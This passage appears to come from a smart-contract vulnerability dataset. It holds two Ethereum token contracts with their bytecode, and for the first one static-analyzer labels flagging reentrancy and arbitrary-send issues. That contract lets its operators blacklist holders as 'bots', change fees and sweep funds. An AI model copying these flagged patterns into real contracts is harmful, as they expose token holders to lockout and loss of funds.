_totalSupply); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); _tradingOpen = true; _launchedAt = block.timestamp; _maxBuyAmount = 100000000 * 10**9; _maxHeldTokens = 200000000 * 10**9; } function setMaxTxn(uint maxbuy, uint maxheld) external { require(_msgSender() == _TaxAdd); require(maxbuy > 100000000 * 10**9); require(maxheld > 200000000 * 10**9); _maxBuyAmount = maxbuy; _maxHeldTokens = maxheld; } function manualswap() external { require(_msgSender() == _TaxAdd); uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _TaxAdd); uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external { require(_msgSender() == _TaxAdd); require(rate > 0, "can't be zero"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external { require(_msgSender() == _TaxAdd); require(buy < _buyFee && sell < _sellFee); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function toggleImpactFee(bool onoff) external { require(_msgSender() == _TaxAdd); _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateTaxAdd(address newAddress) external { require(_msgSender() == _TaxAdd); _TaxAdd = payable(newAddress); emit TaxAddUpdated(_TaxAdd); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } function setBots(address[] memory bots_) external onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) external { require(_msgSender() == _TaxAdd); for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } }
0x6080604052600436106101f25760003560e01c8063590f897e1161010d578063a3f4782f116100a0578063c9567bf91161006f578063c9567bf9146105af578063db92dbb6146105c4578063dcb0e0ad146105d9578063dd62ed3e146105f9578063e8078d941461063f57600080fd5b8063a3f4782f1461053a578063a9059cbb1461055a578063b515566a1461057a578063c3c8cd801461059a57600080fd5b806373f54a11116100dc57806373f54a11146104aa5780638da5cb5b146104ca57806394b8d8f2146104e857806395d89b411461050857600080fd5b8063590f897e1461044a5780636fc3eaec1461046057806370a0823114610475578063715018a61461049557600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac579146103bb57806340b9a54b146103f457806345596e2e1461040a57806349bd5a5e1461042a57600080fd5b806327f3a72a14610349578063313ce5671461035e57806331c2d8471461038557806332d873d8146103a557600080fd5b8063104ce66d116101c1578063104ce66d146102c057806318160ddd146102f85780631940d0201461031357806323b872dd1461032957600080fd5b80630492f055146101fe57806306fdde0314610227578063095ea7b31461026e5780630b78f9c01461029e57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600d5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b506102616040518060400160405280600e81526020016d4c69717569642046696e616e636560901b81525081565b60405161021e9190611882565b34801561027a57600080fd5b5061028e6102893660046118fc565b610654565b604051901515815260200161021e565b3480156102aa57600080fd5b506102be6102b9366004611928565b61066a565b005b3480156102cc57600080fd5b506008546102e0906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561030457600080fd5b50678ac7230489e80000610214565b34801561031f57600080fd5b50610214600e5481565b34801561033557600080fd5b5061028e61034436600461194a565b6106ec565b34801561035557600080fd5b50610214610740565b34801561036a57600080fd5b50610373600981565b60405160ff909116815260200161021e565b34801561039157600080fd5b506102be6103a03660046119a1565b610750565b3480156103b157600080fd5b50610214600f5481565b3480156103c757600080fd5b5061028e6103d6366004611a66565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561040057600080fd5b50610214600a5481565b34801561041657600080fd5b506102be610425366004611a83565b6107dc565b34801561043657600080fd5b506009546102e0906001600160a01b031681565b34801561045657600080fd5b50610214600b5481565b34801561046c57600080fd5b506102be61087d565b34801561048157600080fd5b50610214610490366004611a66565b6108aa565b3480156104a157600080fd5b506102be6108c5565b3480156104b657600080fd5b506102be6104c5366004611a66565b610939565b3480156104d657600080fd5b506000546001600160a01b03166102e0565b3480156104f457600080fd5b5060105461028e9062010000900460ff1681565b34801561051457600080fd5b50610261604051806040016040528060068152602001652634b8a334b760d11b81525081565b34801561054657600080fd5b506102be610555366004611928565b6109a7565b34801561056657600080fd5b5061028e6105753660046118fc565b6109fa565b34801561058657600080fd5b506102be6105953660046119a1565b610a07565b3480156105a657600080fd5b506102be610b20565b3480156105bb57600080fd5b506102be610b56565b3480156105d057600080fd5b50610214610d17565b3480156105e557600080fd5b506102be6105f4366004611aaa565b610d2f565b34801561060557600080fd5b50610214610614366004611ac7565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561064b57600080fd5b506102be610da2565b6000610661338484610f6a565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461068a57600080fd5b600a548210801561069c5750600b5481105b6106a557600080fd5b600a829055600b81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60006106f984848461108e565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610728908490611b16565b9050610735853383610f6a565b506001949350505050565b600061074b306108aa565b905090565b6008546001600160a01b0316336001600160a01b03161461077057600080fd5b60005b81518110156107d85760006005600084848151811061079457610794611b2d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107d081611b43565b915050610773565b5050565b6008546001600160a01b0316336001600160a01b0316146107fc57600080fd5b600081116108415760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b60448201526064015b60405180910390fd5b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6008546001600160a01b0316336001600160a01b03161461089d57600080fd5b476108a78161154f565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146108ef5760405162461bcd60e51b815260040161083890611b5e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b03161461095957600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d690602001610872565b6008546001600160a01b0316336001600160a01b0316146109c757600080fd5b67016345785d8a000082116109db57600080fd5b6702c68af0bb14000081116109ef57600080fd5b600d91909155600e55565b600061066133848461108e565b6000546001600160a01b03163314610a315760405162461bcd60e51b815260040161083890611b5e565b60005b81518110156107d85760095482516001600160a01b0390911690839083908110610a6057610a60611b2d565b60200260200101516001600160a01b031614158015610ab1575060075482516001600160a01b0390911690839083908110610a9d57610a9d611b2d565b60200260200101516001600160a01b031614155b15610b0e57600160056000848481518110610ace57610ace611b2d565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610b1881611b43565b915050610a34565b6008546001600160a01b0316336001600160a01b031614610b4057600080fd5b6000610b4b306108aa565b90506108a781611589565b6000546001600160a01b03163314610b805760405162461bcd60e51b815260040161083890611b5e565b60105460ff1615610b9057600080fd5b600754610bb09030906001600160a01b0316678ac7230489e80000610f6a565b6007546001600160a01b031663f305d7194730610bcc816108aa565b600080610be16000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610c49573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c6e9190611b93565b505060095460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610cc7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ceb9190611bc1565b506010805460ff1916600117905542600f5567016345785d8a0000600d556702c68af0bb140000600e55565b60095460009061074b906001600160a01b03166108aa565b6008546001600160a01b0316336001600160a01b031614610d4f57600080fd5b6010805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610872565b6000546001600160a01b03163314610dcc5760405162461bcd60e51b815260040161083890611b5e565b60105460ff1615610ddc57600080fd5b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610e41573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e659190611bde565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610eb2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed69190611bde565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f23573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f479190611bde565b600980546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b038316610fcc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610838565b6001600160a01b03821661102d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610838565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff161580156110d057506001600160a01b03821660009081526005602052604090205460ff16155b80156110ec57503360009081526005602052604090205460ff16155b6110f557600080fd5b6001600160a01b0383166111595760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610838565b6001600160a01b0382166111bb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610838565b6000811161121d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610838565b600080546001600160a01b0385811691161480159061124a57506000546001600160a01b03848116911614155b156114f0576009546001600160a01b03858116911614801561127a57506007546001600160a01b03848116911614155b801561129f57506001600160a01b03831660009081526004602052604090205460ff16155b156113db5760105460ff166112f65760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610838565b600f54421415611324576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600d5482111561133357600080fd5b600e5461133f846108aa565b6113499084611bfb565b111561135457600080fd5b6001600160a01b03831660009081526006602052604090206001015460ff166113bc576040805180820182526000808252600160208084018281526001600160a01b03891684526006909152939091209151825591519101805460ff19169115159190911790555b506001600160a01b038216600090815260066020526040902042905560015b601054610100900460ff161580156113f5575060105460ff165b801561140f57506009546001600160a01b03858116911614155b156114f05761141f42600b611bfb565b6001600160a01b0385166000908152600660205260409020541061144257600080fd5b600061144d306108aa565b905080156114d95760105462010000900460ff16156114d057600c5460095460649190611482906001600160a01b03166108aa565b61148c9190611c13565b6114969190611c32565b8111156114d057600c54600954606491906114b9906001600160a01b03166108aa565b6114c39190611c13565b6114cd9190611c32565b90505b6114d981611589565b4780156114e9576114e94761154f565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061153257506001600160a01b03841660009081526004602052604090205460ff165b1561153b575060005b61154885858584866116fd565b5050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107d8573d6000803e3d6000fd5b6010805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106115cd576115cd611b2d565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611626573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061164a9190611bde565b8160018151811061165d5761165d611b2d565b6001600160a01b0392831660209182029290920101526007546116839130911684610f6a565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac947906116bc908590600090869030904290600401611c54565b600060405180830381600087803b1580156116d657600080fd5b505af11580156116ea573d6000803e3d6000fd5b50506010805461ff001916905550505050565b6000611709838361171f565b905061171786868684611743565b505050505050565b600080831561173c5782156117375750600a5461173c565b50600b545b9392505050565b6000806117508484611820565b6001600160a01b0388166000908152600260205260409020549193509150611779908590611b16565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546117a9908390611bfb565b6001600160a01b0386166000908152600260205260409020556117cb81611854565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161181091815260200190565b60405180910390a3505050505050565b6000808060646118308587611c13565b61183a9190611c32565b905060006118488287611b16565b96919550909350505050565b3060009081526002602052604090205461186f908290611bfb565b3060009081526002602052604090205550565b600060208083528351808285015260005b818110156118af57858101830151858201604001528201611893565b818111156118c1576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146108a757600080fd5b80356118f7816118d7565b919050565b6000806040838503121561190f57600080fd5b823561191a816118d7565b946020939093013593505050565b6000806040838503121561193b57600080fd5b50508035926020909101359150565b60008060006060848603121561195f57600080fd5b833561196a816118d7565b9250602084013561197a816118d7565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156119b457600080fd5b823567ffffffffffffffff808211156119cc57600080fd5b818501915085601f8301126119e057600080fd5b8135818111156119f2576119f261198b565b8060051b604051601f19603f83011681018181108582111715611a1757611a1761198b565b604052918252848201925083810185019188831115611a3557600080fd5b938501935b82851015611a5a57611a4b856118ec565b84529385019392850192611a3a565b98975050505050505050565b600060208284031215611a7857600080fd5b813561173c816118d7565b600060208284031215611a9557600080fd5b5035919050565b80151581146108a757600080fd5b600060208284031215611abc57600080fd5b813561173c81611a9c565b60008060408385031215611ada57600080fd5b8235611ae5816118d7565b91506020830135611af5816118d7565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611b2857611b28611b00565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611b5757611b57611b00565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600080600060608486031215611ba857600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611bd357600080fd5b815161173c81611a9c565b600060208284031215611bf057600080fd5b815161173c816118d7565b60008219821115611c0e57611c0e611b00565b500190565b6000816000190483118215151615611c2d57611c2d611b00565b500290565b600082611c4f57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ca45784516001600160a01b031683529383019391830191600101611c7f565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122077737a5fb793cb7097d882773dcfd31360a2eb296ab45872ed58efbd8e08628764736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,748
0xe689a257e070b13a08104aeb995c95fee1d87673
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer( IERC20 token, address to, uint256 value ) internal { require(token.transfer(to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { require(token.transferFrom(from, to, value)); } function safeApprove( IERC20 token, address spender, uint256 value ) internal { require(token.approve(spender, value)); } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address owner, address spender ) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { require(value <= _balances[msg.sender]); require(to != address(0)); _balances[msg.sender] = _balances[msg.sender].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom( address from, address to, uint256 value ) public returns (bool) { require(value <= _balances[from]); require(value <= _allowed[from][msg.sender]); require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); emit Transfer(from, to, value); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance( address spender, uint256 addedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance( address spender, uint256 subtractedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param amount The amount that will be created. */ function _mint(address account, uint256 amount) internal { require(account != 0); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param amount The amount that will be burnt. */ function _burn(address account, uint256 amount) internal { require(account != 0); require(amount <= _balances[account]); _totalSupply = _totalSupply.sub(amount); _balances[account] = _balances[account].sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * @param account The account whose tokens will be burnt. * @param amount The amount that will be burnt. */ function _burnFrom(address account, uint256 amount) internal { require(amount <= _allowed[account][msg.sender]); // Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted, // this function needs to emit an event with the updated approval. _allowed[account][msg.sender] = _allowed[account][msg.sender].sub( amount); _burn(account, amount); } } /** * @title ERC20Detailed token * @dev The decimals are only for visualization purposes. * All the operations are done using the smallest and indivisible token unit, * just as on Ethereum all the operations are done in wei. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string name, string symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @return the name of the token. */ function name() public view returns(string) { return _name; } /** * @return the symbol of the token. */ function symbol() public view returns(string) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view returns(uint8) { return _decimals; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract ERC20Burnable is ERC20 { /** * @dev Burns a specific amount of tokens. * @param value The amount of token to be burned. */ function burn(uint256 value) public { _burn(msg.sender, value); } /** * @dev Burns a specific amount of tokens from the target address and decrements allowance * @param from address The address which you want to send tokens from * @param value uint256 The amount of token to be burned */ function burnFrom(address from, uint256 value) public { _burnFrom(from, value); } /** * @dev Overrides ERC20._burn in order for burn and burnFrom to emit * an additional Burn event. */ function _burn(address who, uint256 value) internal { super._burn(who, value); } } contract DarexTravel is ERC20, ERC20Detailed, ERC20Burnable { using SafeERC20 for ERC20; constructor( string name, string symbol, uint8 decimals ) ERC20Burnable() ERC20Detailed(name, symbol, decimals) ERC20() public { _mint(0x22e8380ffcc62a0b079911a5c653a54d9dfb0eed, 100000000000 * (10 ** uint256(decimals))); } }
0x6080604052600436106100c5576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100ca578063095ea7b31461015a57806318160ddd146101bf57806323b872dd146101ea578063313ce5671461026f57806339509351146102a057806342966c681461030557806370a082311461033257806379cc67901461038957806395d89b41146103d6578063a457c2d714610466578063a9059cbb146104cb578063dd62ed3e14610530575b600080fd5b3480156100d657600080fd5b506100df6105a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011f578082015181840152602081019050610104565b50505050905090810190601f16801561014c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561016657600080fd5b506101a5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610649565b604051808215151515815260200191505060405180910390f35b3480156101cb57600080fd5b506101d4610776565b6040518082815260200191505060405180910390f35b3480156101f657600080fd5b50610255600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610780565b604051808215151515815260200191505060405180910390f35b34801561027b57600080fd5b50610284610b3b565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102ac57600080fd5b506102eb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b52565b604051808215151515815260200191505060405180910390f35b34801561031157600080fd5b5061033060048036038101908080359060200190929190505050610d89565b005b34801561033e57600080fd5b50610373600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d96565b6040518082815260200191505060405180910390f35b34801561039557600080fd5b506103d4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dde565b005b3480156103e257600080fd5b506103eb610dec565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042b578082015181840152602081019050610410565b50505050905090810190601f1680156104585780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561047257600080fd5b506104b1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e8e565b604051808215151515815260200191505060405180910390f35b3480156104d757600080fd5b50610516600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110c5565b604051808215151515815260200191505060405180910390f35b34801561053c57600080fd5b50610591600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112e5565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561063f5780601f106106145761010080835404028352916020019161063f565b820191906000526020600020905b81548152906001019060200180831161062257829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561068657600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107cf57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561085a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561089657600080fd5b6108e7826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136c90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061097a826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461138d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a4b82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136c90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000600560009054906101000a900460ff16905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610b8f57600080fd5b610c1e82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461138d90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b610d9333826113ae565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610de882826113bc565b5050565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e845780601f10610e5957610100808354040283529160200191610e84565b820191906000526020600020905b8154815